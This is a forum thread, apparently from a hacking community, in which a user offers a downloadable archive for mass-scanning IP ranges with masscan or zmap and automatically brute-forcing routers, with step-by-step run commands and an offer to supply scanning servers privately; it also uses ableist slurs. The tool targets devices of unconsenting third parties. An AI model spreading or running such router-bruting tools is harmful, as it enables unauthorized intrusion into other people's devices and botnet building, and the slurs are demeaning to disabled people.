Thread: [\(RETARD SUPPORT!!!\) Router Scanning / Bruting for Servers || Venet0 and eth0 support!](#)

~**Jamie** - July 18, 2016, 10:10 am

This is just class with all the ranges. It just saves people time and begging if they don't know how to setup masscan or zmap on venet0 or eth0 servers. It's just easy for the noob blokes. It legit does everything for you except perl them in, and the last line teaches you even how to do that. This is for RETARDS only and not efficient one bit!!!

Download: <http://b.1339.cf/tnnytxl.rar>

How to:

1. Extract those on to root. If you're mentally handicapped, use ftp client.
2. `chmod 777 *`
3. `./thot` for venet0 or `./thotdedi` for eth0

~ It will auto brute so watch out, remove it from script if your server doesn't allow it.

Need a scanning server? I provide in PM!

If you want to leave it running overnight, use screen.

`yum update -y; yum install screen -y`

`apt-get upgrade -y; apt-get install screen -y`

Then do:

`screen ./thot` or `./thotdedi`

the fuck

did you literally waste time to type that out  
zmap pls.

~**Jamie** - July 18, 2016, 12:30 pm

I made it ages ago, calm down ;/
